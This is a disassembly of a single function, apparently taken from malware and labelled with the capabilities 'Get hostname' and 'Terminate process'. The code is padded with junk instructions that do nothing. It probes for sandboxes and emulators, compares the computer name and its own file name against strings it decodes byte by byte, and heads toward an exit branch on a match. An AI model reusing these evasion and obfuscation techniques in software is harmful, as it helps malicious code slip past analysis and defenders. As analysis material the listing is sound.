Function at 0x4022b1
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, eax
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
push esi
pop esi
test eax, eax
pushfd
xor ecx, 0xe4589af3
xor ecx, 0xe4589af3
popfd
je 0x402f7a
pushfd
push 0xfcde2d92
add esp, 4
popfd
xchg esi, edx
xchg edx, esi
mov dword [ebp - 0x41c], eax
xchg edx, edx
pushfd
push 0x29111772
add esp, 4
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
push 0x838123a0
add esp, 4
popfd
push edi
pop edi
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
xchg edi, eax
xchg edi, eax
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
push esi
push eax
pop eax
pop esi
xchg edx, edi
xchg edi, edx
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov eax, eax
cmp eax, 0x400
push edi
push edx
pop edx
pop edi
xchg esi, esi
jne 0x402f7a
xchg ebx, ebx
pushfd
push esi
add esp, 4
popfd
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
push esi
pop esi
test eax, eax
xchg edx, edx
je 0x402f7a
push esi
push eax
pop eax
pop esi
xchg edx, eax
xchg edx, eax
mov dword [ebp - 0x20e], 0x104
pushfd
xor ecx, 0xf1aade12
xor ecx, 0xf1aade12
popfd
lea eax, [ebp - 0x313]
pushfd
inc ebx
dec ebx
popfd
lea ebx, [ebp - 0x20e]
pushfd
push edi
add esp, 4
popfd
xchg esi, ecx
xchg ecx, esi
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
push ecx
push esi
pop esi
pop ecx
pushfd
push ebx
add esp, 4
popfd
test eax, eax
pushfd
push eax
add esp, 4
popfd
mov ecx, ecx
je 0x40271b
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0x418]
pushfd
push 0xd3f465e6
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
mov ebx, 0x61
xchg ecx, edx
xchg edx, ecx
sub bl, 0x13
pushfd
xor eax, 0x91227a82
xor eax, 0x91227a82
popfd
mov byte [eax], bl
xchg ebx, ebx
add bl, 0x18
push esi
pop esi
mov byte [eax + 1], bl
push edx
pop edx
sub bl, 0xc
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 2], bl
pushfd
inc esi
dec esi
popfd
mov ebx, ebx
add bl, 0x1a
xchg edi, esi
xchg esi, edi
push esi
pop esi
mov byte [eax + 3], bl
pushfd
xor edi, 0x4a42b5d0
xor edi, 0x4a42b5d0
popfd
pushfd
push 0x1bdb5d2c
add esp, 4
popfd
sub bl, 0x2e
push edx
push edi
pop edi
pop edx
mov byte [eax + 4], bl
pushfd
push 0x7d41dfc1
add esp, 4
popfd
add bl, 0x1c
pushfd
inc edx
dec edx
popfd
xchg edx, edx
mov byte [eax + 5], bl
push ecx
pop ecx
pushfd
xor edx, 0x7efbd5a6
xor edx, 0x7efbd5a6
popfd
sub bl, 0x12
push ecx
pop ecx
xchg edx, eax
xchg edx, eax
mov byte [eax + 6], bl
pushfd
inc eax
dec eax
popfd
add bl, 0x16
push ecx
pop ecx
pushfd
push 0x36e101c9
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
xor esi, 0xdd8753c4
xor esi, 0xdd8753c4
popfd
sub bl, 0x1e
pushfd
xor eax, 0x8e215b52
xor eax, 0x8e215b52
popfd
mov byte [eax + 8], bl
pushfd
inc edi
dec edi
popfd
mov byte [eax + 9], 0
pushfd
inc ecx
dec ecx
popfd
lea ebx, [ebp - 0x313]
pushfd
push ebx
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push ebx
push edx
pop edx
pop ebx
test eax, eax
pushfd
xor edx, 0x1a59da97
xor edx, 0x1a59da97
popfd
je 0x402f7a
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 0x418]
pushfd
xor ebx, 0x3fb759b4
xor ebx, 0x3fb759b4
popfd
pushfd
inc eax
dec eax
popfd
mov ebx, 0x61
push edx
pop edx
sub bl, 0x1c
push eax
push esi
pop esi
pop eax
pushfd
inc edi
dec edi
popfd
mov byte [eax], bl
pushfd
xor eax, 0xf42f586a
xor eax, 0xf42f586a
popfd
add bl, 7
xchg edx, esi
xchg esi, edx
xchg edx, edx
mov byte [eax + 1], bl
pushfd
push 0xec2133b1
add esp, 4
popfd
sub bl, 3
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
push ebx
pop ebx
sub bl, 6
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 3], bl
push edx
pop edx
xchg ecx, eax
xchg ecx, eax
add bl, 0x17
pushfd
xor eax, 0x2ea4387f
xor eax, 0x2ea4387f
popfd
mov byte [eax + 4], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
xor esi, 0xc073911b
xor esi, 0xc073911b
popfd
mov byte [eax + 5], 0
xchg edi, edi
lea ebx, [ebp - 0x313]
mov ebx, ebx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg ebx, ecx
xchg ecx, ebx
test eax, eax
mov esi, esi
je 0x402f7a
mov edx, edx
lea eax, [ebp - 0x418]
pushfd
push 0x9fc42b32
add esp, 4
popfd
mov ebx, 0x61
mov edx, edx
xchg edi, esi
xchg esi, edi
add bl, 0x13
mov edx, edx
mov byte [eax], bl
pushfd
xor edi, 0xfb52aea7
xor edi, 0xfb52aea7
popfd
pushfd
inc ebx
dec ebx
popfd
add bl, 6
pushfd
xor eax, 0x93b5ef16
xor eax, 0x93b5ef16
popfd
mov byte [eax + 1], bl
pushfd
push 0xc7941b27
add esp, 4
popfd
xchg ebx, edi
xchg edi, ebx
mov byte [eax + 2], 0
push eax
push edi
pop edi
pop eax
lea ebx, [ebp - 0x313]
mov edi, edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg ecx, eax
xchg ecx, eax
test eax, eax
pushfd
push 0x363b67e6
add esp, 4
popfd
push ebx
push ecx
pop ecx
pop ebx
je 0x402f7a
xchg edx, edx
xchg ebx, ebx
lea eax, [ebp - 0x418]
push ebx
pop ebx
pushfd
xor eax, 0x2c8118b6
xor eax, 0x2c8118b6
popfd
mov ebx, 0x61
pushfd
push 0x682e5d2a
add esp, 4
popfd
xchg ebx, ebx
sub bl, 0x14
pushfd
xor ecx, 0x7a39ae6a
xor ecx, 0x7a39ae6a
popfd
mov byte [eax], bl
push edx
push esi
pop esi
pop edx
push ebx
push eax
pop eax
pop ebx
sub bl, 0xc
pushfd
inc esi
dec esi
popfd
push ecx
pop ecx
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
add bl, 8
pushfd
inc edx
dec edx
popfd
mov byte [eax + 2], bl
mov esi, esi
add bl, 5
push ebx
push esi
pop esi
pop ebx
mov ecx, ecx
mov byte [eax + 3], bl
push edi
pop edi
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 4], 0
pushfd
push 0x80d1fdae
add esp, 4
popfd
push edi
pop edi
lea ebx, [ebp - 0x313]
pushfd
push 0x365313b9
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
xor edx, 0x9c6bb79f
xor edx, 0x9c6bb79f
popfd
test eax, eax
pushfd
xor edx, 0xd681060b
xor edx, 0xd681060b
popfd
push ebx
pop ebx
je 0x402f7a
xchg esi, esi
xchg edx, edx
lea eax, [ebp - 0x20a]
xchg ebx, esi
xchg esi, ebx
pushfd
push 0x29c5b3dd
add esp, 4
popfd
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov ebx, ebx
mov ebx, ebx
cmp eax, 0
push edx
push eax
pop eax
pop edx
push ebx
push edi
pop edi
pop ebx
jle 0x402f62
push eax
pop eax
lea eax, [ebp - 0x20a]
mov eax, eax
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
push ebx
pop ebx
push edx
pop edx
lea ebx, [ebp - 0x105]
pushfd
xor ecx, 0x9bff3f00
xor ecx, 0x9bff3f00
popfd
pushfd
xor ebx, 0xeb5f62e7
xor ebx, 0xeb5f62e7
popfd
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
mov esi, esi
pushfd
xor eax, 0x6590c4b8
xor eax, 0x6590c4b8
popfd
lea eax, [ebp - 0x418]
pushfd
push edi
add esp, 4
popfd
mov ebx, 0x61
pushfd
inc esi
dec esi
popfd
pushfd
push esi
add esp, 4
popfd
sub bl, 0x1e
xchg ebx, eax
xchg ebx, eax
mov byte [eax], bl
push edx
push esi
pop esi
pop edx
sub bl, 9
mov ebx, ebx
mov byte [eax + 1], bl
push eax
pop eax
add bl, 0x22
pushfd
push esi
add esp, 4
popfd
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 2], bl
pushfd
xor edx, 0x18697319
xor edx, 0x18697319
popfd
mov esi, esi
sub bl, 0x18
xchg ecx, ecx
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 3], bl
xchg ebx, ebx
add bl, 0x2b
push ecx
pop ecx
push edx
push eax
pop eax
pop edx
mov byte [eax + 4], bl
pushfd
xor ebx, 0x9a9bded9
xor ebx, 0x9a9bded9
popfd
sub bl, 0xc
xchg ebx, ebx
mov byte [eax + 5], bl
push ebx
pop ebx
push edi
pop edi
add bl, 0x12
push ebx
push eax
pop eax
pop ebx
push edx
pop edx
mov byte [eax + 6], bl
pushfd
xor eax, 0x639ae134
xor eax, 0x639ae134
popfd
sub bl, 8
pushfd
xor eax, 0xe2e2bf8
xor eax, 0xe2e2bf8
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 7], bl
pushfd
inc eax
dec eax
popfd
xchg ecx, ecx
sub bl, 8
pushfd
inc ecx
dec ecx
popfd
xchg edi, edi
mov byte [eax + 8], bl
mov ecx, ecx
push edx
pop edx
add bl, 9
pushfd
push 0xa4e3fcf9
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 6
pushfd
xor edx, 0x13e42622
xor edx, 0x13e42622
popfd
mov eax, eax
mov byte [eax + 0xa], bl
xchg esi, esi
push eax
pop eax
dec bl
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xb], bl
xchg esi, esi
sub bl, 0x53
push eax
push esi
pop esi
pop eax
mov byte [eax + 0xc], bl
pushfd
push edx
add esp, 4
popfd
mov esi, esi
add bl, 0x41
push esi
push ebx
pop ebx
pop esi
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xd], bl
xchg ecx, ebx
xchg ebx, ecx
pushfd
xor edx, 0x684adbe1
xor edx, 0x684adbe1
popfd
add bl, 0xd
mov edx, edx
mov byte [eax + 0xe], bl
pushfd
push eax
add esp, 4
popfd
pushfd
xor edx, 0x2f1811d6
xor edx, 0x2f1811d6
popfd
sub bl, 0xa
xchg ecx, ecx
push ebx
pop ebx
mov byte [eax + 0xf], bl
pushfd
push edx
add esp, 4
popfd
push esi
pop esi
sub bl, 0x44
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 0x10], bl
pushfd
push 0xc818f97d
add esp, 4
popfd
add bl, 0x33
xchg edi, eax
xchg edi, eax
xchg edi, edx
xchg edx, edi
mov byte [eax + 0x11], bl
pushfd
push ebx
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
add bl, 0x12
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x12], bl
push ebx
pop ebx
add bl, 0xf
pushfd
xor edx, 0x3988e90d
xor edx, 0x3988e90d
popfd
pushfd
xor edx, 0x28978170
xor edx, 0x28978170
popfd
mov byte [eax + 0x13], bl
pushfd
push 0xc4794769
add esp, 4
popfd
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 0x14], bl
mov edi, edi
sub bl, 0xb
xchg edi, eax
xchg edi, eax
mov byte [eax + 0x15], bl
pushfd
push edi
add esp, 4
popfd
pushfd
push 0xf2e22d4d
add esp, 4
popfd
add bl, 5
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x16], bl
push ecx
push esi
pop esi
pop ecx
pushfd
inc esi
dec esi
popfd
sub bl, 7
xchg esi, eax
xchg esi, eax
mov byte [eax + 0x17], bl
pushfd
inc esi
dec esi
popfd
mov ecx, ecx
add bl, 0xc
push esi
pop esi
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0x18], bl
nop
push edx
pop edx
sub bl, 0x17
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0x19], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
sub bl, 0x1b
push esi
push edi
pop edi
pop esi
mov byte [eax + 0x1a], bl
pushfd
push eax
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
add bl, 0x23
xchg esi, edx
xchg edx, esi
mov byte [eax + 0x1b], bl
push ebx
pop ebx
add bl, 9
push edi
push edx
pop edx
pop edi
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0x1c], bl
pushfd
inc edi
dec edi
popfd
sub bl, 4
push edi
push esi
pop esi
pop edi
mov byte [eax + 0x1d], bl
mov edi, edi
add bl, 5
pushfd
inc ecx
dec ecx
popfd
xchg edi, eax
xchg edi, eax
mov byte [eax + 0x1e], bl
pushfd
inc esi
dec esi
popfd
xchg ecx, edi
xchg edi, ecx
sub bl, 5
pushfd
xor ecx, 0xe66643b5
xor ecx, 0xe66643b5
popfd
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x1f], bl
pushfd
inc eax
dec eax
popfd
add bl, 0xa
mov ebx, ebx
mov byte [eax + 0x20], bl
mov eax, eax
pushfd
push edx
add esp, 4
popfd
inc bl
xchg ecx, ecx
push ecx
push edx
pop edx
pop ecx
mov byte [eax + 0x21], bl
xchg ecx, eax
xchg ecx, eax
mov ecx, ecx
sub bl, 2
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0x22], bl
pushfd
xor ecx, 0x9a2966
xor ecx, 0x9a2966
popfd
sub bl, 0x11
pushfd
push 0x6e0ad379
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0x23], bl
pushfd
inc ebx
dec ebx
popfd
add bl, 0x13
pushfd
xor ebx, 0x5aa66085
xor ebx, 0x5aa66085
popfd
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 0x24], bl
push ebx
push ecx
pop ecx
pop ebx
sub bl, 5
push ebx
push eax
pop eax
pop ebx
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0x25], bl
pushfd
push edi
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
add bl, 3
push edx
pop edx
pushfd
xor ebx, 0x5fd0831c
xor ebx, 0x5fd0831c
popfd
mov byte [eax + 0x26], bl
push eax
push edx
pop edx
pop eax
sub bl, 0x16
xchg edi, edi
pushfd
xor edx, 0x373ff49f
xor edx, 0x373ff49f
popfd
mov byte [eax + 0x27], bl
push eax
pop eax
nop
sub bl, 0xf
mov ecx, ecx
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 0x28], bl
mov ebx, ebx
push ecx
pop ecx
add bl, 0x2c
nop
mov byte [eax + 0x29], bl
xchg ebx, esi
xchg esi, ebx
pushfd
xor eax, 0x293eae61
xor eax, 0x293eae61
popfd
sub bl, 0x59
push esi
push ebx
pop ebx
pop esi
pushfd
xor ebx, 0x54135608
xor ebx, 0x54135608
popfd
mov byte [eax + 0x2a], bl
pushfd
inc edx
dec edx
popfd
xchg ebx, esi
xchg esi, ebx
add bl, 0x24
pushfd
xor edx, 0xddab3348
xor edx, 0xddab3348
popfd
mov byte [eax + 0x2b], bl
xchg edx, ecx
xchg ecx, edx
add bl, 0x2b
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0x2c], bl
pushfd
inc edx
dec edx
popfd
pushfd
push 0x46f9e0bb
add esp, 4
popfd
sub bl, 0xc
push eax
pop eax
mov byte [eax + 0x2d], bl
pushfd
inc esi
dec esi
popfd
add bl, 0x12
pushfd
push 0xecdc69aa
add esp, 4
popfd
mov eax, eax
mov byte [eax + 0x2e], bl
xchg esi, eax
xchg esi, eax
xchg esi, edi
xchg edi, esi
sub bl, 8
pushfd
xor ebx, 0xb5e81f87
xor ebx, 0xb5e81f87
popfd
mov byte [eax + 0x2f], bl
mov esi, esi
sub bl, 8
xchg edi, edi
mov byte [eax + 0x30], bl
pushfd
xor edi, 0xcd20217c
xor edi, 0xcd20217c
popfd
xchg edx, edx
add bl, 9
mov edi, edi
pushfd
xor ebx, 0xec54397
xor ebx, 0xec54397
popfd
mov byte [eax + 0x31], bl
pushfd
xor eax, 0x90ccf6
xor eax, 0x90ccf6
popfd
add bl, 6
xchg ecx, esi
xchg esi, ecx
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 0x32], bl
mov edx, edx
dec bl
push eax
pop eax
push eax
pop eax
mov byte [eax + 0x33], bl
mov edx, edx
sub bl, 0x17
xchg ebx, ebx
mov byte [eax + 0x34], bl
xchg ebx, edi
xchg edi, ebx
add bl, 0x11
push ecx
push edx
pop edx
pop ecx
mov byte [eax + 0x35], bl
xchg edx, ecx
xchg ecx, edx
push eax
push edx
pop edx
pop eax
add bl, 0xa
pushfd
push 0x12ac66f9
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x36], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
sub bl, 4
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x37], bl
xchg esi, esi
xchg edi, edi
sub bl, 6
xchg esi, ebx
xchg ebx, esi
pushfd
push 0x550bbce
add esp, 4
popfd
mov byte [eax + 0x38], bl
push ebx
push edi
pop edi
pop ebx
pushfd
xor ecx, 0xb53db515
xor ecx, 0xb53db515
popfd
add bl, 3
push ecx
pop ecx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x39], bl
pushfd
push 0xc5b2a1b9
add esp, 4
popfd
sub bl, 4
push edi
push eax
pop eax
pop edi
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x3a], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
xor esi, 0xcc6cf72
xor esi, 0xcc6cf72
popfd
sub bl, 0x3e
mov edx, edx
mov byte [eax + 0x3b], bl
xchg ecx, esi
xchg esi, ecx
xchg ebx, ecx
xchg ecx, ebx
add bl, 0x37
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 0x3c], bl
push ecx
push esi
pop esi
pop ecx
push edx
pop edx
add bl, 0x13
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0x3d], bl
pushfd
push 0x156f1583
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x13
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x3e], bl
pushfd
push edi
add esp, 4
popfd
push edx
push edi
pop edi
pop edx
mov byte [eax + 0x3f], 0
pushfd
inc ecx
dec ecx
popfd
lea ebx, [ebp - 0x20a]
xchg edi, eax
xchg edi, eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push ebx
push esi
pop esi
pop ebx
test eax, eax
pushfd
push 0x428b3830
add esp, 4
popfd
je 0x402f7a
push edx
push eax
pop eax
pop edx
push eax
pop eax
lea eax, [ebp - 0x418]
pushfd
inc edx
dec edx
popfd
pushfd
inc edx
dec edx
popfd
mov ebx, 0x61
mov eax, eax
sub bl, 0x1e
pushfd
push 0xe57d5f31
add esp, 4
popfd
push eax
pop eax
mov byte [eax], bl
pushfd
push edx
add esp, 4
popfd
sub bl, 9
push eax
pop eax
mov byte [eax + 1], bl
pushfd
push eax
add esp, 4
popfd
add bl, 0x22
xchg ecx, ecx
mov byte [eax + 2], bl
xchg esi, esi
sub bl, 9
xchg esi, edx
xchg edx, esi
push edx
pop edx
mov byte [eax + 3], bl
push esi
push ebx
pop ebx
pop esi
push edi
push ecx
pop ecx
pop edi
sub bl, 0xe
xchg edx, ebx
xchg ebx, edx
xchg edx, edx
mov byte [eax + 4], bl
pushfd
inc eax
dec eax
popfd
pushfd
push edx
add esp, 4
popfd
add bl, 7
xchg ebx, ebx
mov byte [eax + 5], bl
pushfd
push 0xecbdc275
add esp, 4
popfd
sub bl, 6
pushfd
push 0xcbab1c29
add esp, 4
popfd
mov byte [eax + 6], bl
push eax
pop eax
pushfd
push 0xa20396f7
add esp, 4
popfd
sub bl, 0x18
pushfd
xor edi, 0x7b3bdde2
xor edi, 0x7b3bdde2
popfd
xchg esi, edi
xchg edi, esi
mov byte [eax + 7], bl
push edx
pop edx
add bl, 0x17
pushfd
push 0x8ae2fd6f
add esp, 4
popfd
mov byte [eax + 8], bl
push eax
push edi
pop edi
pop eax
mov ecx, ecx
add bl, 0x13
xchg edi, edx
xchg edx, edi
mov byte [eax + 9], bl
mov ecx, ecx
sub bl, 0x13
push edx
push edi
pop edi
pop edx
push edi
pop edi
mov byte [eax + 0xa], bl
mov ebx, ebx
mov byte [eax + 0xb], 0
push ebx
push edi
pop edi
pop ebx
xchg ecx, ecx
lea ebx, [ebp - 0x20a]
xchg ecx, ecx
pushfd
push 0x599d6bc5
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push eax
pop eax
test eax, eax
pushfd
push 0x9e47070f
add esp, 4
popfd
pushfd
xor ebx, 0x543b6507
xor ebx, 0x543b6507
popfd
je 0x402f7a
pushfd
xor edx, 0xea75b060
xor edx, 0xea75b060
popfd
xchg ebx, ebx
lea eax, [ebp - 0x418]
pushfd
inc ecx
dec ecx
popfd
mov ebx, 0x61
pushfd
inc esi
dec esi
popfd
add bl, 0xc
push ebx
pop ebx
push esi
pop esi
mov byte [eax], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
xor eax, 0xfb7bfd61
xor eax, 0xfb7bfd61
popfd
add bl, 0xc
push eax
pop eax
pushfd
inc esi
dec esi
popfd
mov byte [eax + 1], bl
mov ebx, ebx
pushfd
push 0xcc109547
add esp, 4
popfd
sub bl, 0x18
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 2], bl
push esi
pop esi
add bl, 0xf
push edi
pop edi
mov byte [eax + 3], bl
xchg ebx, ebx
mov byte [eax + 4], bl
push ecx
pop ecx
push ecx
push esi
pop esi
pop ecx
sub bl, 0x42
mov edx, edx
pushfd
xor esi, 0x1c51ecc5
xor esi, 0x1c51ecc5
popfd
mov byte [eax + 5], bl
push edx
pop edx
mov edx, edx
add bl, 0x37
pushfd
push 0x6e1bdb7e
add esp, 4
popfd
mov ebx, ebx
mov byte [eax + 6], bl
push esi
pop esi
add bl, 0x13
xchg ecx, ecx
mov byte [eax + 7], bl
mov eax, eax
pushfd
push eax
add esp, 4
popfd
sub bl, 0x13
xchg edx, edx
mov byte [eax + 8], bl
push ecx
pop ecx
push eax
push ecx
pop ecx
pop eax
mov byte [eax + 9], 0
pushfd
xor esi, 0xba65b3ba
xor esi, 0xba65b3ba
popfd
lea ebx, [ebp - 0x105]
push edx
pop edx
pushfd
push 0xed862cfb
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
push ecx
add esp, 4
popfd
mov edi, edi
test eax, eax
xchg esi, edx
xchg edx, esi
je 0x402f7a
pushfd
inc ebx
dec ebx
popfd
pushfd
xor ecx, 0x30b1eaec
xor ecx, 0x30b1eaec
popfd
xor eax, eax
xchg edi, eax
xchg edi, eax
pushfd
inc esi
dec esi
popfd
leave
ret
pushfd
inc edi
dec edi
popfd
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]